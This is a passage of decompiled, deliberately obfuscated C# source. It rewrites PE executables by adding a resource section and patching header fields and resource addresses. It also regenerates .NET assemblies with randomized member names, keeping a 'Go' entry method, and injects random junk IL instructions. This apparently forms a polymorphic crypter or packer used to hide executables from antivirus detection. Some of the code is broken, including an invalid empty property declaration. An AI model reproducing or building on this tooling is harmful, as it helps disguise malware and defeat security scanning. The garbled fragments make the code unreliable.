            uint isize = (uint) ((int) gxygydds.PUvhlx + ((int) ((uint) buffer.Length / gxygydds.aymxfxlcu) + 1) * (int) gxygydds.aymxfxlcu);
            lapixb.kcXvcnrrwpqgz sh = new lapixb.kcXvcnrrwpqgz(".rsrc", (uint) buffer.Length, puvhlx, phsize, num2, 1107296320U);
            lapixb.tvptAvk d = new lapixb.tvptAvk(puvhlx, (uint) buffer.Length);
            dest1.BaseStream.Position = (long) num2;
            dest1.Write(buffer, 0, buffer.Length);
            int num3 = 0;
            while (true)
            {
              if ((long) num3 < (long) gxygydds.jlnmvaHDid - (long) buffer.Length % (long) gxygydds.jlnmvaHDid)
              {
                dest1.Write((byte) 0);
                ++num3;
              }
              else
                break;
            }
            gxygydds.hhhmxcsare(sh, source1, dest1, msdosheader2);
            gxygydds.fcvwhfbWshwQrL(d, dest1, msdosheader2);
            gxygydds.sBcyVrsjuhu(isize, dest1, msdosheader2);
            dest1.Flush();
            source1.Close();
            dest1.Close();
            FileStream fileStream = new FileStream(outFileName, FileMode.Open, FileAccess.ReadWrite);
            BinaryReader src = new BinaryReader((Stream) fileStream);
            BinaryWriter dest2 = new BinaryWriter((Stream) fileStream);
            gxygydds.fDqzgijCXyjmq(num2, vtimUuoda.jjbjkethqjmz.OzfbAk, puvhlx, src, dest2);
            dest2.Flush();
            int num4 = flag2 ? 1 : 0;
            source2.Close();
            src.Close();
            dest2.Close();
            input1.Close();
            fileStream.Close();
            flag1 = true;
          }
        }
      }
      return flag1;
    }

    private class zrrhppnseac
    {
      private Type faByPv;
      private TypeBuilder hLwbapy;
      public ArrayList ZmtahYdrlgekj;
      public ArrayList fldsCeaoUxycMb;
      public ArrayList chgzlt;
      public ArrayList Oggqplmoh;
      public ArrayList raxuojEtdz;
      public ArrayList kmvtlesig;
      public ArrayList mbGhslimc;
      public ArrayList badfllXdmn;
      public ArrayList oBzVFgfx;
      public ArrayList ybvhoeZodu;

      public zrrhppnseac()
      {
        this.chgzlt = new ArrayList();
        this.Oggqplmoh = new ArrayList();
        this.ZmtahYdrlgekj = new ArrayList();
        this.fldsCeaoUxycMb = new ArrayList();
        this.mbGhslimc = new ArrayList();
        this.badfllXdmn = new ArrayList();
        this.raxuojEtdz = new ArrayList();
        this.kmvtlesig = new ArrayList();
        this.oBzVFgfx = new ArrayList();
        this.ybvhoeZodu = new ArrayList();
      }

      protected virtual void djffRfxaYiahaO()
      {
        try
        {
          this.bdyxinrpumcT();
        }
        finally
        {
          // ISSUE: explicit finalizer call
          this.Finalize();
        }
      }

      public void bdyxinrpumcT()
      {
        this.chgzlt.Clear();
        this.Oggqplmoh.Clear();
        this.ZmtahYdrlgekj.Clear();
        this.fldsCeaoUxycMb.Clear();
        this.mbGhslimc.Clear();
        this.badfllXdmn.Clear();
        this.raxuojEtdz.Clear();
        this.kmvtlesig.Clear();
        this.oBzVFgfx.Clear();
        this.ybvhoeZodu.Clear();
      }

      public bool QiqslmxqMd() => (object) this.faByPv == null;

      public void irgCQaicaqnGx(Type intype, TypeBuilder outtype)
      {
        this.faByPv = intype;
        this.hLwbapy = outtype;
      }

      public Type wqpmeavkukqpy() => this.faByPv;

      public TypeBuilder eIuaThbbxh() => this.hLwbapy;
    }

    public class pxzcLbqGmyxaek
    {
      private ArrayList DlmnuQpdcAjua;

      public pxzcLbqGmyxaek() => this.DlmnuQpdcAjua = new ArrayList();

      protected virtual void orrvtxcxw()
      {
        try
        {
        }
        finally
        {
          // ISSUE: explicit finalizer call
          this.Finalize();
        }
      }

      public void myvhvprNssji()
      {
        foreach (lapixb.zrrhppnseac zrrhppnseac in this.DlmnuQpdcAjua)
          zrrhppnseac.bdyxinrpumcT();
        this.DlmnuQpdcAjua.Clear();
      }

      public void fxlyrhnrt(Type intype, TypeBuilder outtype)
      {
        lapixb.zrrhppnseac zrrhppnseac = new lapixb.zrrhppnseac();
        zrrhppnseac.irgCQaicaqnGx(intype, outtype);
        this.DlmnuQpdcAjua.Add((object) zrrhppnseac);
      }

      public void efPfdz(Type intype, ModuleBuilder moduleBuilder)
      {
        foreach (lapixb.zrrhppnseac zrrhppnseac in this.DlmnuQpdcAjua)
        {
          if (zrrhppnseac.wqpmeavkukqpy().FullName == intype.FullName)
          {
            PropertyInfo[] properties = zrrhppnseac.wqpmeavkukqpy().GetProperties(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic);
            int index1 = 0;
            while (true)
            {
              if (index1 < properties.Length)
              {
                PropertyInfo propertyInfo = properties[index1];
                if (propertyInfo.Name == "SectionHeaders")
                  Console.WriteLine();
                TypeBuilder returnType = this.pucxpjpo(propertyInfo.PropertyType);
                PropertyBuilder propertyBuilder;
                if (returnType != null)
                  propertyBuilder = zrrhppnseac.eIuaThbbxh().DefineProperty((lapixb.ghlfunj(zrrhppnseac.wqpmeavkukqpy()) ? 1 : 0) != 0 ? lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk() : propertyInfo.Name, propertyInfo.Attributes, (Type) returnType, (Type[]) null);
                else
                  propertyBuilder = zrrhppnseac.eIuaThbbxh().DefineProperty((lapixb.ghlfunj(zrrhppnseac.wqpmeavkukqpy()) ? 1 : 0) != 0 ? lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk() : propertyInfo.Name, propertyInfo.Attributes, propertyInfo.PropertyType, (Type[]) null);
                zrrhppnseac.chgzlt.Add((object) propertyInfo);
                zrrhppnseac.Oggqplmoh.Add((object) propertyBuilder);
                ++index1;
              }
              else
                break;
            }
            foreach (FieldInfo field in zrrhppnseac.wqpmeavkukqpy().GetFields(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic))
            {
              TypeBuilder typeBuilder1 = this.pucxpjpo(field.FieldType);
              FieldBuilder fieldBuilder;
              if (typeBuilder1 != null)
              {
                TypeBuilder typeBuilder2 = zrrhppnseac.eIuaThbbxh();
                string fieldName;
                if ((lapixb.ghlfunj(zrrhppnseac.wqpmeavkukqpy()) ? 1 : 0) == 0)
                  fieldName = field.Name;
                else
                  fieldName = lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk();
                TypeBuilder typeBuilder3 = typeBuilder1;
                int attributes = (int) field.Attributes;
                fieldBuilder = typeBuilder2.DefineField(fieldName, (Type) typeBuilder3, (FieldAttributes) attributes);
              }
              else
                fieldBuilder = zrrhppnseac.eIuaThbbxh().DefineField(lapixb.ghlfunj(zrrhppnseac.wqpmeavkukqpy()) ? lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk() : field.Name, field.FieldType, field.Attributes);
              if ((object) fieldBuilder.DeclaringType.Assembly != (object) moduleBuilder.Assembly)
                throw new Exception();
              zrrhppnseac.ZmtahYdrlgekj.Add((object) field);
              zrrhppnseac.fldsCeaoUxycMb.Add((object) fieldBuilder);
            }
            ConstructorInfo[] constructors = zrrhppnseac.wqpmeavkukqpy().GetConstructors(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic);
            int index2 = 0;
            while (true)
            {
              if (index2 < constructors.Length)
              {
                ConstructorInfo constructorInfo = constructors[index2];
                ParameterInfo[] parameters = constructorInfo.GetParameters();
                Type[] parameterTypes = new Type[(int) checked ((uint) parameters.Length)];
                int index3 = 0;
                for (; index3 < parameters.Length; ++index3)
                {
                  TypeBuilder typeBuilder = this.pucxpjpo(parameters[index3].ParameterType);
                  parameterTypes[index3] = typeBuilder == null ? parameters[index3].ParameterType : (Type) typeBuilder;
                }
                ConstructorBuilder ctorBuilder = zrrhppnseac.eIuaThbbxh().DefineConstructor(constructorInfo.Attributes, constructorInfo.CallingConvention, parameterTypes);
                lapixb.jclwzvQo((MethodBase) constructorInfo, ref ctorBuilder);
                zrrhppnseac.oBzVFgfx.Add((object) constructorInfo);
                zrrhppnseac.ybvhoeZodu.Add((object) ctorBuilder);
                ++index2;
              }
              else
                break;
            }
            foreach (EventInfo eventInfo in zrrhppnseac.wqpmeavkukqpy().GetEvents(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic))
            {
              TypeBuilder typeBuilder = zrrhppnseac.eIuaThbbxh();
              string name;
              if (!lapixb.ghlfunj(zrrhppnseac.wqpmeavkukqpy()))
                name = eventInfo.Name;
              else
                name = lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk();
              int attributes = (int) eventInfo.Attributes;
              Type eventHandlerType = eventInfo.EventHandlerType;
              EventBuilder eventBuilder = typeBuilder.DefineEvent(name, (EventAttributes) attributes, eventHandlerType);
              zrrhppnseac.mbGhslimc.Add((object) eventInfo);
              zrrhppnseac.badfllXdmn.Add((object) eventBuilder);
            }
            foreach (MethodBase method in zrrhppnseac.wqpmeavkukqpy().GetMethods(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic))
            {
              if (!(method.Name == "Main") || (object) method.DeclaringType != (object) typeof (lapixb))
              {
                if (method.Name == "Go")
                  lapixb.doHuwvavrOnb = method;
                ParameterInfo[] parameters = method.GetParameters();
                Type[] typeArray = new Type[(int) checked ((uint) parameters.Length)];
                int index4 = 0;
                int num;
                for (; index4 < parameters.Length; index4 = num + 1)
                {
                  TypeBuilder typeBuilder = this.pucxpjpo(parameters[index4].ParameterType);
                  typeArray[index4] = typeBuilder == null ? parameters[index4].ParameterType : (Type) typeBuilder;
                  num = index4;
                }
                Type returnType1 = ((MethodInfo) method).ReturnType;
                TypeBuilder typeBuilder4 = this.pucxpjpo(returnType1);
                string name1 = method.Name;
                MethodBuilder methodBuilder;
                if (typeBuilder4 != null)
                {
                  TypeBuilder typeBuilder5 = zrrhppnseac.eIuaThbbxh();
                  string name2;
                  if ((lapixb.ghlfunj(zrrhppnseac.wqpmeavkukqpy()) ? 1 : 0) != 0)
                  {
                    if (name1 != "Go")
                    {
                      name2 = lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk();
                      goto label_46;
                    }
                  }
                  name2 = name1;
label_46:
                  int attributes = (int) method.Attributes;
                  int callingConvention = (int) method.CallingConvention;
                  TypeBuilder returnType2 = typeBuilder4;
                  Type[] parameterTypes = typeArray;
                  methodBuilder = typeBuilder5.DefineMethod(name2, (MethodAttributes) attributes, (CallingConventions) callingConvention, (Type) returnType2, parameterTypes);
                }
                else
                {
                  TypeBuilder typeBuilder6 = zrrhppnseac.eIuaThbbxh();
                  string name3;
                  if (lapixb.ghlfunj(zrrhppnseac.wqpmeavkukqpy()))
                  {
                    if (name1 != "Go")
                    {
                      name3 = lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk();
                      goto label_51;
                    }
                  }
                  name3 = name1;
label_51:
                  int attributes = (int) method.Attributes;
                  int callingConvention = (int) method.CallingConvention;
                  Type returnType3 = returnType1;
                  Type[] parameterTypes = typeArray;
                  methodBuilder = typeBuilder6.DefineMethod(name3, (MethodAttributes) attributes, (CallingConventions) callingConvention, returnType3, parameterTypes);
                }
                lapixb.jtavbqaucxoGqk(method, ref methodBuilder);
                zrrhppnseac.kmvtlesig.Add((object) methodBuilder);
                zrrhppnseac.raxuojEtdz.Add((object) method);
              }
            }
          }
        }
      }

      public MethodBuilder OpjjrZFfBquC(Type type, MethodBase methodBase)
      {
        MethodBuilder methodBuilder;
        for (int index1 = 0; index1 < this.DlmnuQpdcAjua.Count; ++index1)
        {
          if (((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).wqpmeavkukqpy().FullName == type.FullName)
          {
            int num;
            for (int index2 = 0; index2 < ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).raxuojEtdz.Count; index2 = num)
            {
              MethodBase methodBase1 = (MethodBase) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).raxuojEtdz[index2];
              if (methodBase.GetHashCode() == methodBase1.GetHashCode())
              {
                methodBuilder = (MethodBuilder) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).kmvtlesig[index2];
                goto label_11;
              }
              else
                num = index2 + 1;
            }
            methodBuilder = (MethodBuilder) null;
            goto label_11;
          }
        }
        methodBuilder = (MethodBuilder) null;
label_11:
        return methodBuilder;
      }

      public ConstructorBuilder igvsCkvbrtxgpd(
        Type type,
        ConstructorInfo ctorInfo)
      {
        int index1 = 0;
        while (true)
        {
          if (index1 < this.DlmnuQpdcAjua.Count)
          {
            if (!(((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).wqpmeavkukqpy().FullName == type.FullName))
              ++index1;
            else
              break;
          }
          else
            goto label_10;
        }
        int index2 = 0;
        ConstructorBuilder constructorBuilder;
        while (index2 < ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).oBzVFgfx.Count)
        {
          ConstructorInfo constructorInfo = (ConstructorInfo) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).oBzVFgfx[index2];
          if (ctorInfo.GetHashCode() == constructorInfo.GetHashCode())
          {
            constructorBuilder = (ConstructorBuilder) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).ybvhoeZodu[index2];
            goto label_11;
          }
          else
            ++index2;
        }
        constructorBuilder = (ConstructorBuilder) null;
        goto label_11;
label_10:
        constructorBuilder = (ConstructorBuilder) null;
label_11:
        return constructorBuilder;
      }

      public PropertyBuilder jacaZbbgz(Type type, PropertyInfo propertyInfo)
      {
        PropertyBuilder propertyBuilder;
        for (int index1 = 0; index1 < this.DlmnuQpdcAjua.Count; ++index1)
        {
          if (((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).wqpmeavkukqpy().FullName == type.FullName)
          {
            int index2 = 0;
            while (true)
            {
              if (index2 < ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).chgzlt.Count)
              {
                PropertyInfo propertyInfo1 = (PropertyInfo) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).chgzlt[index2];
                if (!(propertyInfo.Name == propertyInfo1.Name) || (object) propertyInfo.DeclaringType != (object) propertyInfo1.DeclaringType)
                  ++index2;
                else
                  break;
              }
              else
                goto label_7;
            }
            propertyBuilder = (PropertyBuilder) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).Oggqplmoh[index2];
            goto label_11;
label_7:
            propertyBuilder = (PropertyBuilder) null;
            goto label_11;
          }
        }
        propertyBuilder = (PropertyBuilder) null;
label_11:
        return propertyBuilder;
      }

      public FieldBuilder pdjwlfze(Type type, FieldInfo fieldInfo)
      {
        FieldBuilder fieldBuilder;
        for (int index1 = 0; index1 < this.DlmnuQpdcAjua.Count; ++index1)
        {
          if (((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).wqpmeavkukqpy().FullName == type.FullName)
          {
            for (int index2 = 0; index2 < ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).ZmtahYdrlgekj.Count; ++index2)
            {
              FieldInfo fieldInfo1 = (FieldInfo) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).ZmtahYdrlgekj[index2];
              if (fieldInfo.Name == fieldInfo1.Name)
              {
                if ((object) fieldInfo.DeclaringType == (object) fieldInfo1.DeclaringType)
                {
                  fieldBuilder = (FieldBuilder) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).fldsCeaoUxycMb[index2];
                  goto label_12;
                }
              }
            }
            fieldBuilder = (FieldBuilder) null;
            goto label_12;
          }
        }
        fieldBuilder = (FieldBuilder) null;
label_12:
        return fieldBuilder;
      }

      public EventBuilder ksarswaQpyRx(Type type, EventInfo eventInfo)
      {
        int index1 = 0;
        while (true)
        {
          if (index1 < this.DlmnuQpdcAjua.Count)
          {
            if (!(((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).wqpmeavkukqpy().FullName == type.FullName))
              ++index1;
            else
              break;
          }
          else
            goto label_10;
        }
        EventBuilder eventBuilder;
        for (int index2 = 0; index2 < ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).mbGhslimc.Count; ++index2)
        {
          EventInfo eventInfo1 = (EventInfo) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).mbGhslimc[index2];
          if (eventInfo.Name == eventInfo1.Name && (object) eventInfo.DeclaringType == (object) eventInfo1.DeclaringType)
          {
            eventBuilder = (EventBuilder) ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index1]).badfllXdmn[index2];
            goto label_11;
          }
        }
        eventBuilder = (EventBuilder) null;
        goto label_11;
label_10:
        eventBuilder = (EventBuilder) null;
label_11:
        return eventBuilder;
      }

      public TypeBuilder pucxpjpo(Type type)
      {
        TypeBuilder typeBuilder;
        for (int index = 0; index < this.DlmnuQpdcAjua.Count; ++index)
        {
          if (((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index]).wqpmeavkukqpy().FullName == type.FullName)
          {
            typeBuilder = ((lapixb.zrrhppnseac) this.DlmnuQpdcAjua[index]).eIuaThbbxh();
            goto label_6;
          }
        }
        typeBuilder = (TypeBuilder) null;
label_6:
        return typeBuilder;
      }
    }

    private class bkhltqlGjvox
    {
      private ILGenerator qzkpjgasw;
      private LocalBuilder[] xqylhaJreL;

      public bkhltqlGjvox(ILGenerator ilGenerator, LocalBuilder[] localBuilders)
      {
        this.qzkpjgasw = ilGenerator;
        this.xqylhaJreL = localBuilders;
      }

      public void eSqpqsy()
      {
        if (lapixb.idvvngznumgka.Next(10) == 0)
          this.qzkpjgasw.Emit(OpCodes.Nop);
        if (lapixb.idvvngznumgka.Next(20) != 0 || this.xqylhaJreL.Length <= 0)
          return;
        LocalBuilder local = this.xqylhaJreL[lapixb.idvvngznumgka.Next(this.xqylhaJreL.Length)];
        this.qzkpjgasw.Emit(OpCodes.Ldloc, local);
        this.qzkpjgasw.Emit(OpCodes.Pop);
      }
    }

    private sealed class AssemblyProvider : IAssemblyProvider
    {
      public Assembly[] GetAssemblies() => throw new NotImplementedException();

      public Assembly Load(string assemblyName) => Assembly.Load(assemblyName);
    }

    private class bOukncg
    {
      protected int xhwqHleoQNnx;
      protected byte[] GbgccvuFkgkS = new byte[128];

      [SpecialName]
      public int vivxuclimwmaeG() => this.xhwqHleoQNnx;

      public void ugusxnfncbc(BinaryReader source)
      {
        source.Read(this.GbgccvuFkgkS, 0, this.GbgccvuFkgkS.Length);
        this.xhwqHleoQNnx = (int) this.GbgccvuFkgkS[60] | (int) this.GbgccvuFkgkS[61] << 8 | (int) this.GbgccvuFkgkS[62] << 16 | (int) this.GbgccvuFkgkS[63] << 24;
      }
      int aazijwjoLv { }
    }

    private class vtimUuoda
    {
      protected byte[] woctiEonpovvve = new byte[4];
      protected ushort FgzvMs;
      protected ushort fazplng;
      protected int gPscyordwh;
      protected ushort Hnltst;
      protected ushort zaldBkxiryhha;
      protected ushort iFvhuaiz;
      protected byte cnlbuca;
      protected byte euvpPorqhjzvdU;
      protected uint FufbZn;
      protected uint xwjdvQwlxq;
      protected uint kumpHwejny;
      protected uint JDjpcxsjduuunp;
      protected uint jrzvms;
      protected uint fymajdjlltlvHl;
      protected uint rbvbaGzzhe;
      public uint aymxfxlcu;
      public uint jlnmvaHDid;
      protected ushort duinxmpvz;
      protected ushort acfpitrTJz;
      protected ushort zxOsiIf;
      protected ushort bpsFeuwma;
      protected ushort bEqxAkmq;
      protected ushort cLuTtvv;
      protected uint jHwyvfti;
      public uint PUvhlx;
      protected uint yQyNidqpzk;
      protected uint sloala;
      protected uint auepgQfrlnlNQ;
      protected uint mxdxohidl;
      protected uint iianhnbuonauG;
      protected uint fhcfwJt;
      protected uint pbfnpxkqIcl;
      protected uint kWyftlxwdqqCaY;
      protected uint reueak;
      protected lapixb.tvptAvk eyslyulDr;
      protected lapixb.tvptAvk dbhcscgatswc;
      public lapixb.tvptAvk jjbjkethqjmz;
      protected lapixb.tvptAvk JZDjyrcgg;
      protected lapixb.tvptAvk vaLgsekdcrsuu;
      protected lapixb.tvptAvk ndgxjagskbu;
      protected lapixb.tvptAvk dpjcJbtvdjhvjd;
      protected lapixb.tvptAvk sbcrcoesF;
      protected lapixb.tvptAvk oxlSoGxcncpIyn;
      protected lapixb.tvptAvk dDahnl;
      protected lapixb.tvptAvk dvRceCnmw;
      protected lapixb.tvptAvk plcwuaqrwSY;
      protected lapixb.tvptAvk ybnvrw;
      protected lapixb.tvptAvk stuhEmvpdrfyn;
      public lapixb.tvptAvk ziuklvehg;
      public lapixb.tvptAvk sgneBNjjhkn;
      public ArrayList dHnysskou;

      public byte[] iymvzvhxdMi(BinaryReader source)
      {
        try
        {
          if (this.jjbjkethqjmz.OzfbAk != 0U)
          {
            source.BaseStream.Position = (long) this.vRywlmli(this.jjbjkethqjmz.OzfbAk);
            return source.ReadBytes((int) this.jjbjkethqjmz.Pfmhoxt);
          }
          return (byte[]) null;
        }
        catch
        {
          return (byte[]) null;
        }
      }

      public void vQzsqfb(BinaryReader source, lapixb.bOukncg msdosheader)
      {
        source.BaseStream.Position = (long) msdosheader.vivxuclimwmaeG();
        source.Read(this.woctiEonpovvve, 0, 4);
        if (this.woctiEonpovvve[0] == (byte) 80)
        {
          if (this.woctiEonpovvve[1] == (byte) 69 && this.woctiEonpovvve[2] == (byte) 0 && this.woctiEonpovvve[3] == (byte) 0)
          {
            this.FgzvMs = source.ReadUInt16();
            if (this.FgzvMs != (ushort) 332)
              throw new Exception("Incorrect machine id code");
            this.fazplng = source.ReadUInt16();
            this.gPscyordwh = source.ReadInt32();
            if (source.ReadInt32() != 0)
              throw new Exception("Symbol table offset != 0");
            this.Hnltst = source.ReadInt32() == 0 ? source.ReadUInt16() : throw new Exception("Symbol table count != 0");
            this.zaldBkxiryhha = source.ReadUInt16();
            this.iFvhuaiz = source.ReadUInt16();
            if (this.iFvhuaiz != (ushort) 267)
              throw new Exception("Bad magic number for PE Optional Header");
            this.cnlbuca = source.ReadByte();
            this.euvpPorqhjzvdU = source.ReadByte();
            if (this.cnlbuca != (byte) 6 || this.euvpPorqhjzvdU != (byte) 0)
              throw new Exception("Bad L number");
            this.FufbZn = source.ReadUInt32();
            this.xwjdvQwlxq = source.ReadUInt32();
            this.kumpHwejny = source.ReadUInt32();
            this.JDjpcxsjduuunp = source.ReadUInt32();
            this.jrzvms = source.ReadUInt32();
            this.fymajdjlltlvHl = source.ReadUInt32();
            this.rbvbaGzzhe = source.ReadUInt32();
            this.aymxfxlcu = source.ReadUInt32();
            this.jlnmvaHDid = source.ReadUInt32();
            this.duinxmpvz = source.ReadUInt16();
            this.acfpitrTJz = source.ReadUInt16();
            this.zxOsiIf = source.ReadUInt16();
            this.bpsFeuwma = source.ReadUInt16();
            this.bEqxAkmq = source.ReadUInt16();
            this.cLuTtvv = source.ReadUInt16();
            int num = (int) source.ReadUInt32();
            this.PUvhlx = source.ReadUInt32();
            this.jHwyvfti = source.ReadUInt32();
            this.yQyNidqpzk = source.ReadUInt32();
            this.sloala = (uint) source.ReadUInt16();
            this.auepgQfrlnlNQ = (uint) source.ReadUInt16();
            this.mxdxohidl = source.ReadUInt32();
            this.iianhnbuonauG = source.ReadUInt32();
            this.fhcfwJt = source.ReadUInt32();
            this.pbfnpxkqIcl = source.ReadUInt32();
            this.kWyftlxwdqqCaY = source.ReadUInt32();
            this.reueak = source.ReadUInt32();
            this.eyslyulDr = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32());
            this.dbhcscgatswc = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32());
            this.jjbjkethqjmz = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32());
            this.JZDjyrcgg = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32());
            this.vaLgsekdcrsuu = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32());
            this.ndgxjagskbu = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32());
            this.dpjcJbtvdjhvjd = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32());
            this.sbcrcoesF = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32());
            this.oxlSoGxcncpIyn = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32());
            this.dDahnl = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32());
            this.dvRceCnmw = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32());
            this.plcwuaqrwSY = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32());
            this.ybnvrw = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32());
            this.stuhEmvpdrfyn = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32());
            this.ziuklvehg = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32());
            this.sgneBNjjhkn = new lapixb.tvptAvk(source.ReadUInt32(), source.ReadUInt32());
            this.dHnysskou = new ArrayList();
            for (int index = 0; index < (int) this.fazplng; ++index)
            {
              this.dHnysskou.Add((object) new lapixb.kcXvcnrrwpqgz());
              ((lapixb.kcXvcnrrwpqgz) this.dHnysskou[index]).rusGhmQvlumtp(source);
            }
            return;
          }
        }
        throw new Exception("Missing PE file signature");
      }

      public uint vRywlmli(uint rva)
      {
        int index = 0;
        while (true)
        {
          if (index < this.dHnysskou.Count)
          {
            if (((lapixb.kcXvcnrrwpqgz) this.dHnysskou[index]).huMNybeUrrv <= rva)
            {
              if (rva < (uint) ((int) ((lapixb.kcXvcnrrwpqgz) this.dHnysskou[index]).huMNybeUrrv + (int) ((lapixb.kcXvcnrrwpqgz) this.dHnysskou[index]).ttireywvav))
                break;
            }
            ++index;
          }
          else
            goto label_6;
        }
        return ((lapixb.kcXvcnrrwpqgz) this.dHnysskou[index]).efxraidDxamjk + (rva - ((lapixb.kcXvcnrrwpqgz) this.dHnysskou[index]).huMNybeUrrv);
label_6:
        throw new Exception("Unresolvable RVA " + (object) rva);
      }
    }

    private class gxygydds : lapixb.vtimUuoda
    {
      public void fcvwhfbWshwQrL(lapixb.tvptAvk d, BinaryWriter dest, lapixb.bOukncg msdosheader)
      {
        dest.BaseStream.Position = (long) (msdosheader.vivxuclimwmaeG() + 136);
        dest.Write(d.OzfbAk);
        dest.Write(d.Pfmhoxt);
      }

      public void hhhmxcsare(
        lapixb.kcXvcnrrwpqgz sh,
        BinaryReader source,
        BinaryWriter dest,
        lapixb.bOukncg msdosheader)
      {
        source.BaseStream.Position = (long) (msdosheader.vivxuclimwmaeG() + 6);
        ushort num = source.ReadUInt16();
        dest.BaseStream.Position = (long) (msdosheader.vivxuclimwmaeG() + 6);
        dest.Write((int) num + 1);
        dest.BaseStream.Position = (long) (msdosheader.vivxuclimwmaeG() + 248 + (int) num * 40);
        sh.tpSchlVvwqeu(dest);
      }

      public void sBcyVrsjuhu(uint isize, BinaryWriter dest, lapixb.bOukncg msdosheader)
      {
        dest.BaseStream.Position = (long) (msdosheader.vivxuclimwmaeG() + 80);
        dest.Write(isize);
      }

      public void fDqzgijCXyjmq(
        uint resOffset,
        uint oldResRVA,
        uint newResRVA,
        BinaryReader src,
        BinaryWriter dest)
      {
        this.xxYrwlwunlr(resOffset, 0U, oldResRVA, newResRVA, src, dest);
      }

      private void xxYrwlwunlr(
        uint resOffset,
        uint nodeOffset,
        uint oldResRVA,
        uint newResRVA,
        BinaryReader src,
        BinaryWriter dest)
      {
        src.BaseStream.Position = (long) (uint) ((int) resOffset + (int) nodeOffset + 12);
        ushort num1 = (ushort) ((int) src.ReadUInt16() + (int) src.ReadUInt16());
        int num2;
        for (int index = 0; index < (int) num1; index = num2 + 1)
        {
          int num3 = (int) src.ReadUInt32();
          uint num4 = src.ReadUInt32();
          long position = src.BaseStream.Position;
          if (((int) num4 & int.MinValue) != 0)
            this.xxYrwlwunlr(resOffset, (uint) ((int) num4 & int.MaxValue), oldResRVA, newResRVA, src, dest);
          else
            this.jvcqYpgpskGe(resOffset + num4, oldResRVA, newResRVA, src, dest);
          src.BaseStream.Position = position;
          num2 = index;
        }
      }

      private void jvcqYpgpskGe(
        uint dataOffset,
        uint oldResRVA,
        uint newResRVA,
        BinaryReader src,
        BinaryWriter dest)
      {
        src.BaseStream.Position = (long) dataOffset;
        uint num = src.ReadUInt32() + newResRVA - oldResRVA;
        dest.BaseStream.Position = src.BaseStream.Position - 4L;
        dest.Write(num);
        dest.BaseStream.Position += 12L;
        src.BaseStream.Position += 12L;
      }
    }

    private class tvptAvk
    {
      public uint OzfbAk;
      public uint Pfmhoxt;

      public tvptAvk(uint rva, uint size)
      {
        this.OzfbAk = rva;
        this.Pfmhoxt = size;
      }

      public virtual string mxsnrsof() => "0x" + this.OzfbAk.ToString("X8") + ",0x" + this.Pfmhoxt.ToString("X8");
    }

    private class kcXvcnrrwpqgz
    {
      public byte[] Gbzzvacltssph;
      public uint ttireywvav;
      public uint huMNybeUrrv;
      public uint vWwpmibp;
      public uint efxraidDxamjk;
      protected uint wtcpyvdAquu;
      protected uint epQnvoz;
      protected ushort goebwlsq;
      protected ushort rOnzlZpa;
      public uint atacseufwU;

      public kcXvcnrrwpqgz()
      {
        this.rOnzlZpa = (ushort) 0;
        this.goebwlsq = (ushort) 0;
        this.epQnvoz = 0U;
        this.wtcpyvdAquu = 0U;
      }

      public kcXvcnrrwpqgz(
        string strname,
        uint vsize,
        uint vaddr,
        uint phsize,
        uint phoffs,
        uint flags)
      {
        this.Gbzzvacltssph = new byte[8];
        int num;
        for (int index = 0; index < strname.Length && index < 8; index = num + 1)
        {
          this.Gbzzvacltssph[index] = (byte) strname[index];
          num = index;
        }
        this.ttireywvav = vsize;
        this.huMNybeUrrv = vaddr;
        this.vWwpmibp = phsize;
        this.efxraidDxamjk = phoffs;
